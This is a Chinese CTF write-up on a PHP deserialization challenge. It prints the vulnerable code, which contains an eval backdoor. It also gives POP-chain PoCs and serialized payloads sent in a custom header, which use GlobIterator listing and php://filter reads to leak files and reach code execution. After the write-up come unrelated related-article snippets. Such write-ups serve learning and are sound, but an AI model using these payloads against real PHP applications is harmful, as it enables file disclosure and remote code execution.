2023愚人杯 )————被遗忘的反序列化

 <?php# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");class EeE{public $text;public $eeee;public function __wakeup(){if ($this->text == "aaaa"){echo lcfirst($this->text);}}public function __get($kk){echo "$kk,eeeeeeeeeeeee";}public function __clone(){$a = new cycycycy;$a -> aaa();}}class cycycycy{public $a;private $b;public function aaa(){$get = $_GET['get'];$get = cipher($get);if($get === "p8vfuv8g8v8py"){eval($_POST["eval"]);}}public function __invoke(){$a_a = $this -> a;echo "\$a_a\$";}
}class gBoBg{public $name;public $file;public $coos;private $eeee="-_-";public function __toString(){if(isset($this->name)){$a = new $this->coos($this->file);echo $a;}else if(!isset($this -> file)){return $this->coos->name;}else{$aa = $this->coos;$bb = $this->file;return $aa();}}
}   class w_wuw_w{public $aaa;public $key;public $file;public function __wakeup(){if(!preg_match("/php|63|\*|\?/i",$this -> key)){$this->key = file_get_contents($this -> file);}else{echo "不行哦";}}public function __destruct(){echo $this->aaa;}public function __invoke(){$this -> aaa = clone new EeE;}
}$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);

获取txt文件

注释说有一个txt文件

找到这个

coos和file都是可控的 可以用php原生函数读取这个txt文件

GlobIterator类

GlobIterator 类也可以遍历一个文件目录,使用方法与前两个类也基本相似。但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径,即不需要依赖glob://协议。

但是想要触发__toString()方法还需要利用

所以初步的poc为

  class gBoBg{public $name = 1;public $file = './*.txt';public $coos = 'GlobIterator';}class w_wuw_w{public $aaa;public $key;public $file;}$a=new gBoBg();$b=new w_wuw_w();$b->aaa = $a;
echo serialize($b);

O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";i:1;s:4:"file";s:7:"./*.txt";s:4:"coos";s:12:"GlobIterator";}s:3:"key";N;s:4:"file";N;}

这里的传参方式也很独特

$_SERVER["HTTP_AAAAAA"] 是 PHP 中用于获取 HTTP 请求头部信息中名为 "HTTP_AAAAAA" 的值。

在 Web 开发中,HTTP 请求头部信息包含了客户端(通常是浏览器)发送给服务器的额外信息,这些信息可以包括用户代理(User-Agent)、主机(Host)、来源(Referer)等。而 "HTTP_AAAAAA" 是一个自定义的请求头,其名称由开发者自行定义。

例如,如果客户端发送了一个请求,并且在请求头中包含了名为 "HTTP_AAAAAA" 的自定义信息,那么在 PHP 中可以通过 $_SERVER["HTTP_AAAAAA"] 来获取这个信息的值。

需要注意的是,请求头部信息是由客户端发送给服务器的,因此服务器端的应用程序(比如 PHP)可以使用 $_SERVER 超全局数组来获取这些信息。

所以传参方式是这样的

成功获取txt文件名

h1nt.txt

查看一下

#用于check.php

key:qwertyuiopasdfghjklzxcvbnm123456789

move:2-4

显而易见是凯撒

但是还要看check.php的值

这里虽然过滤了key 但是没有过滤file的值

然后让没有echo$key

但是有echo$aaa

只要让两个值相等就可以echo

构造poc

<?phpclass EeE{public $text;public $eeee;}class cycycycy
{public $a;private $b;}class gBoBg{public $name;public $file;public $coos;}class w_wuw_w{public $aaa;public $key = 2;public $file = 'check.php';}$a=new gBoBg();
$b=new w_wuw_w();
$b->aaa =& $b->key;
echo serialize($b);

注意这里的 两个变量相等要用指标符

使他们实际上指向同一个内存地址

(c语言学过忘的一干二净。。。。)

注意这里请求头这里有空格!!!!

然后得到check.php的内容

// 如果输入的字符串长度超过 10000,则终止程序执行并返回错误码 -1。这是一个长度限制的安全检查。
if(strlen($str) > 10000){exit(-1);
}// 定义了一个字符集,包含小写字母和数字。这个字符集是加密和解密过程中使用的。
$charset = "qwertyuiopasdfghjklzxcvbnm123456789";// 定义了加密时的位移量,这里设置为 4。加密过程中,每个字符将会向左偏移 4 个位置。
$shift = 4;// 定义了一个空字符串,用于存储加密后的结果。
$shifted = "";// 使用 for 循环遍历输入字符串中的每个字符。
for ($i = 0; $i < strlen($str); $i++) {// 获取当前位置的字符。$char = $str[$i];// 查找当前字符在字符集中的位置。$pos = strpos($charset, $char);// 如果字符在字符集中,则执行下面的代码;否则,直接将字符添加到结果中。if ($pos !== false) {// 计算字符在字符集中新的位置,使用的是凯撒密码加密算法。// 这里,($pos - $shift + strlen($charset)) 表示将当前位置向左偏移 4 个位置,// 然后取模 strlen($charset) 来确保结果在字符集的范围内。$new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);// 将加密后的字符追加到结果字符串中。$shifted .= $charset[$new_pos];} else {// 将字符添加到结果中。$shifted .= $char;}
}// 返回加密后的结果字符串。
return $shifted;

得到加密规则

就是向左移动4位数

逆向一下就是要向右移动4位

爆破一下

def caesar_decrypt(ciphertext, shift):plaintext = ""alphabet = "qwertyuiopasdfghjklzxcvbnm123456789"for char in ciphertext:if char in alphabet:shifted_index = (alphabet.index(char) - shift) % len(alphabet)plaintext += alphabet[shifted_index]else:plaintext += charreturn plaintext# 测试
ciphertext = input("请输入需要解密的密文:")
plaintext = caesar_decrypt(ciphertext, -4)
print("解密后的明文:", plaintext)

 fe1ka1ele1efp

得到这个

最后就是构造pop加传参

1 通过反序列化 w_wuw_w类 触发__destruct() 让$aaa=class gBoBg

从而触发gBoBg类里面的__toString()

2 gBoBg类里 让 name 值为空 file值存在 $aa=w_wuw_w() 从而触发w_wuw_w类里的__invoke()

3 w_wuw_w类 __invoke()里面克隆对象 触发EeE里面的__clone()

4 __clone()触发aaa属性 从而成功rce

poc

<?phpclass EeE{public $text;public $eeee;}class cycycycy{public $a;private $b;}class gBoBg{public $name;public $file=1;public $coos;}   class w_wuw_w{public $aaa;public $key;public $file;
}$a = new EeE();
$b = new cycycycy();
$c = new gBoBg();
$d = new w_wuw_w();
$c->coos=$d;
$d->aaa=$c;echo serialize($d);

payload

O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";N;s:4:"file";i:1;s:4:"coos";r:1;}s:3:"key";N;s:4:"file";N;}

非预期

看别人的wp h1nt.txt也是用原生类函数整出来的

我这里直接读取 虽然有回显但还是有乱码

我们用原生类函数读一下试试

用之前就了解过的 SplFileObject函数

但是之前那道题 有 echo

但是这题没有

就要用php伪协议读取

php://filter/convert.base64-encode/resource=h1nt.txt

poc

<?php
class gBoBg{public $name = 1;public $file = 'php://filter/convert.base64-encode/resource=h1nt.txt';public $coos = 'splfileobject';}class w_wuw_w{public $aaa;public $key;public $file;}$a=new gBoBg();$b=new w_wuw_w();$b->aaa = $a;
echo serialize($b);

base64解密

这样就不会乱码了

然后再好好了解一下php原生类函数(用于反序列化的)

php原生类函数(用于反序列化的)

读取文件类(SplFileObject)

进行目录遍历

DirectoryIterator和FilesystemIterator都需要用glob伪协议

GlobIterator自带glob就不需要了

回到刚才那题直接用原生函数遍历跟目录

可以直接找到flag的名字

 public $file = '/f*';public $coos = 'GlobIterator';

然后再用SplFileObject查看

    public $file = 'php://filter/convert.base64-encode/resource=/f1agaaa';public $coos = 'SplFileObject';

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/11197.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

量化交易:日内网格交易策略.md

哈喽&#xff0c;大家好&#xff0c;我是木头左&#xff01; 本文将详细介绍日内网格交易策略的原理&#xff0c;并结合Python代码示例&#xff0c;展示如何在掘金平台上实现这一策略。 策略原理 日内网格交易策略的核心思想是在一天的交易时间内&#xff0c;通过设置多个买卖…

【谷粒商城】02安装和配置git

1.下载和安装git 地址&#xff1a;https://git-scm.com/download/win 傻瓜式安装 2.配置git DELLLJL MINGW64 ~/Desktop $ git config --global user.name "yufuabu"DELLLJL MINGW64 ~/Desktop $ git config --global user.email "463999534qq.com"DELL…

详解循环队列——链表与数组双版本

前言&#xff1a;本节内容主要是讲解循环队列。 在本篇中会讲到两个版本——数组版本、链表版本。本篇内容适合正在学习数据结构队列章节或者已经学过队列但对循环队列感觉模糊的友友们 。 首先先来看一下什么是循环队列 什么是循环队列 因为是刚开始讲解&#xff0c; 所以我们…

git知识总结

要知道 本地回退后&#xff0c;反悔了&#xff0c;可以恢复。前提是已经提交了&#xff0c;提交了就丢不了。 git reflog git reset --hard commitId 以前git push不让推&#xff0c;就是没有对应关系。第一次推要setxxx参数。 前奏 设置用户名和邮箱&#xff0c;设置错…

回溯之组合总和II

上一篇文章使用回溯解决了组合总和I&#xff0c;这次使用回溯解决组合总和II&#xff0c;下面先给出回溯的模板代码。 private void backtracking(参数1,参数2,...){if(递归终止条件){收集结果;return;}for(遍历集合){处理;backtracking(参数1,参数2,...); // 递归;回溯;} }组…

5. FactoryTalk View SE -- 模拟量趋势记录

step1&#xff1a; 在项目列表下找到数据记录–数据记录模型–新建。 step2&#xff1a;更改描述、文件标识符、存储格式。 step3&#xff1a;更改文件缓存路径。 step4&#xff1a;更改缓存文件保存的周期。 step5&#xff1a;5s保存一次数据。 step6&#xff1a;添加标…

从零开始搭建Springboot项目脚手架2:配置文件、返回值、日志等

1、多个环境与配置文件 2、统一返回值 返回值包括两种场景&#xff1a;正常controller的返回、异常发生之后返回 正常controller的返回&#xff1a;通过在controller的默认返回Response实现 异常发生之后返回&#xff1a;通过全局异常处理统一捕获返回 首先创建类StatusCode…

[Spring Cloud] (7)gateway防重放拦截器

文章目录 简述本文涉及代码已开源Fir Cloud 完整项目防重放防重放必要性&#xff1a;防重放机制作用&#xff1a; 整体效果后端进行处理 后端增加防重放开关配置签名密钥 工具类防重放拦截器 前端被防重放拦截增加防重放开关配置请求头增加防重放签名处理防重放验证处理函数bas…

打造清洁宜居家园保护自然生态环境,基于YOLOv5全系列【n/s/m/l/x】参数模型开发构建自然生态场景下违规违法垃圾倾倒检测识别系统

自然生态环境&#xff0c;作为我们人类赖以生存的家园&#xff0c;其健康与否直接关系到我们的生活质量。然而&#xff0c;近年来&#xff0c;一些不法分子为了个人私利&#xff0c;在河边、路边等公共区域肆意倾倒垃圾&#xff0c;严重破坏了环境的健康与平衡。这种行为不仅损…

18.04版本的ubuntu没有连接网络的图标(坑人版)

以下更新内核别看&#xff0c;因为后面安装驱动报一堆错误!!! 不升级内核成功方法跳转连接&#xff1a;https://blog.csdn.net/weixin_53765004/article/details/138771613?csdn_share_tail%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%2213877…

单调栈问题

原理 单调栈的核心原理是&#xff1a;在栈内保持元素的单调性&#xff08;递增或递减&#xff09; 单调递增栈&#xff1a; 用于处理“下一个更小的元素”问题。当新元素比栈顶元素小或等于时&#xff0c;直接入栈&#xff1b;否则&#xff0c;一直从栈顶弹出元素&#xff0c…

OBS直播二次开发_OBS直播软件介绍

OBS工作室版 免费且开源的用于视频录制以及直播串流的软件。 下载以在Windows, Mac以及Linux上简单且快速的开始串流。 功能 实时高性能的视频/音频捕捉与混合,以及无限的场景模式使您可以通过自定义实现无缝转换。为视频源设计的滤镜例如图片蒙版,色彩校正,色度/色彩键控…

软件体系结构风格

目录 一、定义 二、.经典软件体系结构风格&#xff1a; 1.管道和过滤器 2.数据抽象和面向对象系统 3.基于事件系统&#xff08;隐式调用&#xff09; 4.分层系统 5.仓库 6.C2风格 7.C/S 8.三层C/S 9.B/S 题&#xff1a; 一、定义 软件体系机构风格是描述某一特定应用…

通过内网穿透实现远程访问个人电脑资源详细过程(免费)(NatApp + Tomcat)

目录 1. 什么是内网穿透 2. 内网穿透软件 3. NatApp配置 4. 启动NatApp 5. 通过内网穿透免费部署我们的springboot项目 通过内网穿透可以实现远程通过网络访问电脑的资源&#xff0c;本文主要讲述通过内网穿透实现远程访问个人电脑静态资源的访问&#xff0c;下一章节将讲…

C语言/数据解构——(随即链表的复制)

一.前言 嗨嗨嗨&#xff0c;大家好久不见。已经有好几天没更新了。今天我们就分享一道链表题吧——随即链表的复制https://leetcode.cn/problems/copy-list-with-random-pointer废话不多说&#xff0c;让我们直接开始今天的题目分享吧。 二.正文 1.1题目描述 他和单链表不同…

华为OD机试 - 求幸存数之和(Java 2024 C卷 100分)

华为OD机试 2024C卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试&#xff08;JAVA&#xff09;真题&#xff08;A卷B卷C卷&#xff09;》。 刷的越多&#xff0c;抽中的概率越大&#xff0c;每一题都有详细的答题思路、详细的代码注释、样例测试…

机器学习面试篇

如何理解机器学习数据集的概念 数据集是机器学习的基础&#xff0c;它包括了用于训练和测试模型所需的数据。数据集通常以矩阵的形式存在&#xff0c;其中每一行代表一个样本&#xff08;或实例&#xff09;&#xff0c;每一列代表一个特征&#xff08;或属性&#xff09;。…

JVM从1%到99%【精选】-类加载子系统

目录 1.类的生命周期 1.加载 2.连接 3.初始化 2.类的加载器 1.类加载器的分类 2.双亲委派机制 3.面试题&#xff1a;类的双亲委派机制是什么&#xff1f; 4.打破双亲委派机制 1.类的生命周期 类加载过程&#xff1a;加载、链接&#xff08;验证、准备、解析&a…

数据与结构--堆

堆 堆的概念 堆&#xff1a;如果有一个关键码的集合K{k0,k1,k2,…,kn-1}&#xff0c;把它的所有元素按完全二叉树的顺序存储方式存储在一个一维数组中&#xff0c;并满足ki<k2i1且ki<k2i2&#xff08;或满足ki>k2i1且ki>k2i2&#xff09;&#xff0c;其中i0,1,2,…

深度缓冲技术在AI去衣中的神奇作用

引言&#xff1a; 随着人工智能技术的飞速发展&#xff0c;其在图形处理和视觉领域的应用日益增多。AI去衣技术便是其中一个颇具争议但又技术上引人入胜的话题。今天&#xff0c;我们将深入探讨一项关键技术——深度缓冲&#xff08;Depth Buffering&#xff09;&#xff0c;它…